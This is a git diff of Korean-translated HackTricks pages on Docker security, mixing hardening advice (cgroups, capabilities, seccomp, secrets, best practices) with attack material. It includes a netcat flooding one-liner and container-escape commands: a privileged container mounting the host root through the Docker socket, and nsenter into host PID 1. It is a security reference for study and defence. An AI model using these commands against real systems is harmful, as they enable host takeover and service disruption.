다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, CPU 공유가 512로, blkioweight가 400으로 설정된 컨테이너입니다. CPU 공유는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. CPU 리소스 충돌이 발생하는 경우 CPU 공유가 1024인 세 개의 컨테이너가 동일한 CPU 공유를 가지고 있다면 각 컨테이너는 CPU의 최대 33%를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -202,7 +202,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세밀하게 제어**할 수 있게 합니다. Docker는 Linux 커널 기능을 사용하여 **사용자 유형과 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한**합니다.
|
||||
|
||||
도커 컨테이너가 실행될 때, **프로세스는 격리에서 탈출할 수 있는 민감한 기능을 제거**합니다. 이는 프로세스가 민감한 작업을 수행하고 탈출하는 것을 방지하기 위한 시도입니다:
|
||||
도커 컨테이너가 실행될 때, **프로세스는 격리에서 탈출할 수 있는 민감한 기능을 제거**합니다. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장합니다:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -210,7 +210,7 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
|
||||
### Docker에서 Seccomp
|
||||
|
||||
이는 Docker가 컨테이너 내에서 사용할 수 있는 **syscalls를 제한**할 수 있게 하는 보안 기능입니다:
|
||||
이는 Docker가 컨테이너 내에서 사용할 수 있는 **syscalls를 제한**하는 보안 기능입니다:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -218,7 +218,7 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
|
||||
### Docker에서 AppArmor
|
||||
|
||||
**AppArmor**는 **프로그램별 프로필**을 사용하여 **컨테이너를 제한된 리소스 집합으로 제한**하는 커널 개선 기능입니다.:
|
||||
**AppArmor**는 **프로그램별 프로필**을 사용하여 **컨테이너를 제한된 리소스로 제한**하는 커널 개선 기능입니다.:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -227,12 +227,12 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
### Docker에서 SELinux
|
||||
|
||||
* **라벨링 시스템**: SELinux는 모든 프로세스와 파일 시스템 객체에 고유한 라벨을 할당합니다.
|
||||
* **정책 강제**: 시스템 내에서 프로세스 라벨이 다른 라벨에 대해 수행할 수 있는 작업을 정의하는 보안 정책을 강제합니다.
|
||||
* **정책 강제**: 프로세스 라벨이 시스템 내 다른 라벨에 대해 수행할 수 있는 작업을 정의하는 보안 정책을 강제합니다.
|
||||
* **컨테이너 프로세스 라벨**: 컨테이너 엔진이 컨테이너 프로세스를 시작할 때, 일반적으로 `container_t`로 할당됩니다.
|
||||
* **컨테이너 내 파일 라벨링**: 컨테이너 내 파일은 일반적으로 `container_file_t`로 라벨이 지정됩니다.
|
||||
* **정책 규칙**: SELinux 정책은 주로 `container_t` 라벨을 가진 프로세스가 `container_file_t`로 라벨이 지정된 파일과만 상호 작용(읽기, 쓰기, 실행)할 수 있도록 합니다.
|
||||
* **정책 규칙**: SELinux 정책은 주로 `container_t` 라벨을 가진 프로세스가 `container_file_t`로 라벨이 지정된 파일과만 상호 작용(읽기, 쓰기, 실행)할 수 있도록 보장합니다.
|
||||
|
||||
이 메커니즘은 컨테이너 내 프로세스가 침해당해도 해당 라벨을 가진 객체와만 상호 작용하도록 보장하여, 그러한 침해로부터의 잠재적 피해를 크게 제한합니다.
|
||||
이 메커니즘은 컨테이너 내 프로세스가 침해당해도 해당 라벨을 가진 객체와만 상호 작용하도록 보장하여, 이러한 침해로부터 발생할 수 있는 잠재적인 피해를 크게 제한합니다.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -242,8 +242,8 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
|
||||
Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단하는 보안에서 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 내립니다:
|
||||
|
||||
* **인증 컨텍스트**: 사용자에 대한 포괄적인 정보를 포함하며, 그들이 누구이며 어떻게 인증했는지에 대한 정보를 제공합니다.
|
||||
* **명령 컨텍스트**: 요청과 관련된 모든 중요한 데이터를 포함합니다.
|
||||
* **인증 컨텍스트**: 사용자에 대한 포괄적인 정보를 포함하며, 사용자가 누구이며 어떻게 인증되었는지에 대한 정보를 제공합니다.
|
||||
* **명령어 컨텍스트**: 요청과 관련된 모든 관련 데이터를 포함합니다.
|
||||
|
||||
이러한 컨텍스트는 인증된 사용자로부터의 합법적인 요청만 처리되도록 보장하여 Docker 작업의 보안을 강화합니다.
|
||||
|
||||
|
@ -281,9 +281,9 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
만약 공격자가 낮은 권한 사용자로 액세스를 획득한 컨테이너를 실행 중이라면, **잘못 구성된 suid 이진 파일**이 있는 경우, 공격자는 이를 악용하여 컨테이너 내에서 **권한 상승**을 할 수 있습니다. 이로 인해 컨테이너를 탈출할 수도 있습니다.
|
||||
공격자가 낮은 권한 사용자로 액세스를 획득한 컨테이너를 실행 중인 경우, **잘못 구성된 suid 이진 파일**이 있는 경우, 공격자는 이를 악용하여 컨테이너 내에서 **권한 상승**을 할 수 있습니다. 이로 인해 컨테이너를 탈출할 수도 있습니다.
|
||||
|
||||
**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면, **이러한 종류의 권한 상승을 방지**할 수 있습니다.
|
||||
**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면 이러한 권한 상승을 **방지**할 수 있습니다.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -306,25 +306,25 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
|
||||
## 기타 보안 고려 사항
|
||||
|
||||
### 비밀 관리: 최상의 실천 사례
|
||||
### 비밀 관리: 최상의 실천 방법
|
||||
|
||||
Docker 이미지에 비밀을 직접 포함하거나 환경 변수를 사용하는 것을 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 액세스하는 사람에게 민감한 정보를 노출시킵니다.
|
||||
도커 이미지에 비밀을 직접 포함하거나 환경 변수를 사용하는 것을 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 액세스 권한이 있는 사람에게 민감한 정보를 노출시킵니다.
|
||||
|
||||
**Docker 볼륨**은 민감한 정보에 액세스하기 위한 안전한 대안이며 권장됩니다. 이들은 메모리 내 임시 파일 시스템으로 사용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자 및 컨테이너에 `exec` 액세스 권한이 있는 사용자는 여전히 비밀을 액세스할 수 있습니다.
|
||||
**도커 볼륨**은 민감한 정보에 액세스하는 데 권장되는 안전한 대안입니다. 이들은 메모리 내 임시 파일 시스템으로 사용될 수 있으며, `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자 및 컨테이너에 `exec` 액세스 권한이 있는 사용자는 여전히 비밀을 액세스할 수 있습니다.
|
||||
|
||||
**Docker secrets**은 민감한 정보를 처리하는 더 안전한 방법을 제공합니다. 이미지 빌드 단계 중에 비밀이 필요한 경우 **BuildKit**은 빌드 시간 비밀을 지원하는 효율적인 솔루션을 제공하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
|
||||
**도커 시크릿**은 민감한 정보를 처리하는 더 안전한 방법을 제공합니다. 이미지 빌드 단계 중에 비밀이 필요한 경우, **BuildKit**은 빌드 시간 시크릿을 지원하는 효율적인 솔루션을 제공하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
|
||||
|
||||
BuildKit을 활용하기 위해 다음 세 가지 방법으로 활성화할 수 있습니다:
|
||||
BuildKit을 활용하기 위해 세 가지 방법으로 활성화할 수 있습니다:
|
||||
|
||||
1. 환경 변수를 통해: `export DOCKER_BUILDKIT=1`
|
||||
2. 명령어에 접두사를 붙여: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Docker 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 Docker 재시작.
|
||||
3. 도커 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 도커 재시작.
|
||||
|
||||
BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 비밀을 사용할 수 있도록 하며, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 보장합니다.
|
||||
BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 시크릿을 사용할 수 있도록 하며, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 보장합니다.
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
실행 중인 컨테이너에서 필요한 비밀 정보의 경우, **Docker Compose와 Kubernetes**은 견고한 솔루션을 제공합니다. Docker Compose는 시크릿 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 활용하며, 이는 `docker-compose.yml` 예시에서 확인할 수 있습니다:
|
||||
실행 중인 컨테이너에서 필요한 비밀은 **Docker Compose와 Kubernetes**이 강력한 솔루션을 제공합니다. Docker Compose는 시크릿 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 활용하며, 이는 `docker-compose.yml` 예시에서 확인할 수 있습니다:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -339,11 +339,11 @@ file: ./my_secret_file.txt
|
|||
```
|
||||
이 구성은 Docker Compose를 사용하여 서비스를 시작할 때 시크릿을 사용할 수 있게 합니다.
|
||||
|
||||
Kubernetes 환경에서는 시크릿이 네이티브로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 더욱 효과적으로 관리할 수 있습니다. Kubernetes의 Role Based Access Controls (RBAC)는 Docker Enterprise와 유사하게 시크릿 관리 보안을 강화합니다.
|
||||
Kubernetes 환경에서는 시크릿이 네이티브로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 더욱 효율적으로 관리할 수 있습니다. Kubernetes의 Role Based Access Controls (RBAC)는 Docker Enterprise와 유사하게 시크릿 관리 보안을 강화합니다.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor**는 Go로 작성된 응용 프로그램 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 이는 호스트 커널과 응용 프로그램 사이의 **격리 경계를 제공하는 [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임인 `runsc`**을 포함합니다. `runsc` 런타임은 Docker와 Kubernetes와 통합되어 샌드박스 컨테이너를 간단히 실행할 수 있게 합니다.
|
||||
**gVisor**는 Go로 작성된 응용 프로그램 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 응용 프로그램과 호스트 커널 사이의 **격리 경계를 제공하는** [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임인 `runsc`를 포함하고 있습니다. `runsc` 런타임은 Docker와 Kubernetes와 통합되어 샌드박스 컨테이너를 간단히 실행할 수 있게 합니다.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
|
@ -355,67 +355,19 @@ Kubernetes 환경에서는 시크릿이 네이티브로 지원되며 [Helm-Secre
|
|||
|
||||
### 요약 팁
|
||||
|
||||
* **`--privileged` 플래그를 사용하지 않거나** [**컨테이너 내부에 Docker 소켓을 마운트하지 마세요**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓을 통해 컨테이너를 생성할 수 있기 때문에, 예를 들어 `--privileged` 플래그를 사용하여 다른 컨테이너를 실행하는 등 호스트를 완전히 제어할 수 있습니다.
|
||||
* **컨테이너 내부에서 루트로 실행하지 마세요.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **와** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/) **를 사용하세요.** 컨테이너 내의 루트는 사용자 네임스페이스로 재매핑되지 않는 한 호스트와 동일합니다. 주로 Linux 네임스페이스, 캐퍼빌리티 및 cgroups에 의해 가볍게 제한됩니다.
|
||||
* [**모든 캐퍼빌리티를 삭제**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)하고 필요한 것만 활성화**하세요 (`--cap-add=...`). 많은 워크로드는 어떤 캐퍼빌리티도 필요로 하지 않으며, 추가하면 잠재적인 공격 범위가 증가합니다.
|
||||
* [**“no-new-privileges” 보안 옵션을 사용**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)하여 suid 이진 파일을 통해 프로세스가 더 많은 권한을 얻는 것을 방지하세요.
|
||||
* **컨테이너에 사용 가능한 자원을 제한**하세요. 자원 제한은 머신을 서비스 거부 공격으로부터 보호할 수 있습니다.
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스콜을 필요한 최소한으로 제한하세요.
|
||||
* **[공식 Docker 이미지](https://docs.docker.com/docker-hub/official\_images/)**를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하세요. 백도어가 있는 이미지를 상속하거나 사용하지 마세요. 또한 루트 키, 패스프레이즈를 안전한 위치에 저장하세요. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* **이미지를 정기적으로 다시 빌드**하여 호스트 및 이미지에 보안 패치를 적용하세요.
|
||||
* **시크릿을 현명하게 관리**하여 공격자가 액세스하기 어렵게 만드세요.
|
||||
* Docker 데몬을 노출하는 경우 HTTPS를 사용하여 클라이언트 및 서버 인증을 수행하세요.
|
||||
* Dockerfile에서 **ADD 대신 COPY를 선호**하세요. ADD는 자동으로 압축 해제하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피해 원격 URL 및 Zip 파일을 통한 공격에 취약해지지 않도록 하세요.
|
||||
* **각 마이크로 서비스에 별도의 컨테이너를 사용**하세요.
|
||||
* 컨테이너에 **ssh를 넣지 마세요**, “docker exec”를 사용하여 컨테이너에 ssh를 사용할 수 있습니다.
|
||||
* **더 작은** 컨테이너 **이미지를 사용**하세요.
|
||||
|
||||
## Docker Breakout / Privilege Escalation
|
||||
|
||||
만약 **Docker 컨테이너 내부에 있거나 Docker 그룹의 사용자에게 액세스 권한이 있다면**, **탈출 및 권한 상승**을 시도할 수 있습니다:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
|
||||
만약 Docker 소켓에 액세스하거나 **Docker 그룹의 사용자에게 액세스 권한이 있지만 Docker 인증 플러그인에 의해 작업이 제한된 경우**, **바이패스할 수 있는지 확인하세요:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker 보안 강화
|
||||
|
||||
* [**docker-bench-security**](https://github.com/docker/docker-bench-security) 도구는 프로덕션 환경에서 Docker 컨테이너를 배포하는 데 관한 수십 가지 일반적인 모베스트 프랙티스를 확인하는 스크립트입니다. 이 테스트는 모두 자동화되어 있으며 [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)를 기반으로 합니다.\
|
||||
도커를 실행하는 호스트에서 도구를 실행하거나 충분한 권한을 갖춘 컨테이너에서 실행해야 합니다. 자세한 내용은 README에서 확인하세요: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
* **`--privileged` 플래그를 사용하지 않거나** [**컨테이너 내부에 Docker 소켓을 마운트하지 마세요**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓을 사용하면 컨테이너를 생성할 수 있으므로, 예를 들어 `--privileged` 플래그를 사용하여 다른 컨테이너를 실행하는 등 호스트를 완전히 제어할 수 있습니다.
|
||||
* **컨테이너 내부에서 루트로 실행하지 마세요.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **와** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/) **를 사용하세요.** 컨테이너 내의 루트는 사용자 네임스페이스로 재매핑되지 않는 한 호스트와 동일합니다. 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
|
||||
* [**모든 기능을 삭제하고**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **필요한 것만 활성화하세요** (`--cap-add=...`). 많은 워크로드는 어떤 기능도 필요로 하지 않으며, 추가하면 잠재적인 공격 범위가 증가합니다.
|
||||
* **프로세스가 더 많은 권한을 얻는 것을 방지하기 위해** [**“no-new-privileges” 보안 옵션을 사용하세요**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/). 예를 들어 suid 이진 파일을 통해 권한을 더 얻는 것을 방지합니다.
|
||||
* **컨테이너에 사용 가능한 자원을 제한하세요**. 자원 제한은 머신을 서비스 거부 공격으로부터 보호할 수 있습니다.
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스템 호출을 필요한 최소한으로 제한하세요.
|
||||
* **[공식 Docker 이미지](https://docs.docker.com/docker-hub/official\_images/)를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하세요.** 백도어가 있는 이미지를 상속하거나 사용하지 마세요. 또한 루트 키, 패스프레이즈를 안전한 위치에 저장하세요. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* **이미지를 정기적으로 다시 빌드하여 호스트 및 이미지에 보안 패치를 적용하세요.**
|
||||
* **시크릿을 현명하게 관리하여 공격자가 액세스하기 어렵게 만드세요.**
|
||||
* **도커 데몬을 노출하는 경우 HTTPS를 사용하세요**. 클라이언트 및 서버 인증을 사용합니다.
|
||||
* **Dockerfile에서는 ADD 대신 COPY를 선호하세요**. ADD는 자동으로 압축 해제하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 합니다.
|
||||
* **각 마이크로 서비스에 대해 별도의 컨테이너를 사용하세요.**
|
||||
* **컨테이너 이미지를 더 작게 유지하세요.**
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -39,7 +39,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
이 경우 일반적인 도커 명령을 사용하여 도커 데몬과 통신할 수 있습니다:
|
||||
이 경우 일반적인 도커 명령어를 사용하여 도커 데몬과 통신할 수 있습니다:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
만약 **도커 소켓이 예상치 못한 위치에** 있다면, **`docker`** 명령어를 사용하여 **`-H unix:///path/to/docker.sock`** 매개변수를 추가하여 통신할 수 있습니다.
|
||||
만약 **도커 소켓이 예상치 못한 위치에** 있다면 **`docker`** 명령어를 사용하여 **`-H unix:///path/to/docker.sock`** 매개변수를 추가하여 통신할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
도커 데몬은 또한 [포트에서 (기본값 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) 수신할 수 있으며, Systemd 기반 시스템에서는 Docker 데몬과의 통신이 Systemd 소켓 `fd://`을 통해 발생할 수 있습니다.
|
||||
도커 데몬은 또한 [포트(기본값 2375, 2376)에서 수신할 수도 있습니다](../../../../network-services-pentesting/2375-pentesting-docker.md) 또는 Systemd 기반 시스템에서는 Docker 데몬과의 통신이 Systemd 소켓 `fd://`을 통해 발생할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
추가로, 다른 고수준 런타임의 런타임 소켓에 주의를 기울여야 합니다:
|
||||
|
@ -74,13 +74,13 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
|||
|
||||
컨테이너의 권한을 확인해야 합니다. 다음 중 하나라도 해당된다면 컨테이너에서 탈출할 수 있을 수 있습니다: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
현재 컨테이너 권한을 확인하려면 **이전에 언급된 자동 도구**를 사용하거나 다음을 사용할 수 있습니다:
|
||||
현재 컨테이너의 권한을 확인하려면 **이전에 언급된 자동 도구**를 사용하거나 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
## 특권 컨테이너 탈출
|
||||
## 권한 상승 탈출
|
||||
|
||||
특권 컨테이너는 다음과 같은 플래그를 사용하여 생성할 수 있습니다: `--privileged` 또는 특정 방어 기능을 비활성화하는 방법:
|
||||
특권 컨테이너는 다음과 같은 플래그를 사용하여 생성할 수 있습니다: `--privileged` 또는 특정 방어 기능을 비활성화합니다:
|
||||
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
|
@ -90,25 +90,23 @@ capsh --print
|
|||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- `/dev`를 마운트
|
||||
- `/dev`를 마운트합니다
|
||||
|
||||
`--privileged` 플래그는 컨테이너 보안을 크게 낮추며 **제한 없는 장치 액세스**를 제공하고 **여러 보호 기능을 우회**합니다. 자세한 내용은 `--privileged`의 전체 영향에 대한 문서를 참조하십시오.
|
||||
`--privileged` 플래그는 컨테이너 보안을 크게 낮추며 **장치에 무제한 액세스**를 제공하고 **여러 보호 기능을 우회**합니다. 자세한 내용은 `--privileged`의 전체 영향에 대한 문서를 참조하십시오.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 특권 + hostPID
|
||||
### Privileged + hostPID
|
||||
|
||||
이러한 권한을 사용하면 단순히 호스트에서 루트로 실행 중인 init (pid:1)와 같은 프로세스의 네임스페이스로 이동할 수 있습니다. 다음을 실행하여 테스트할 수 있습니다: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
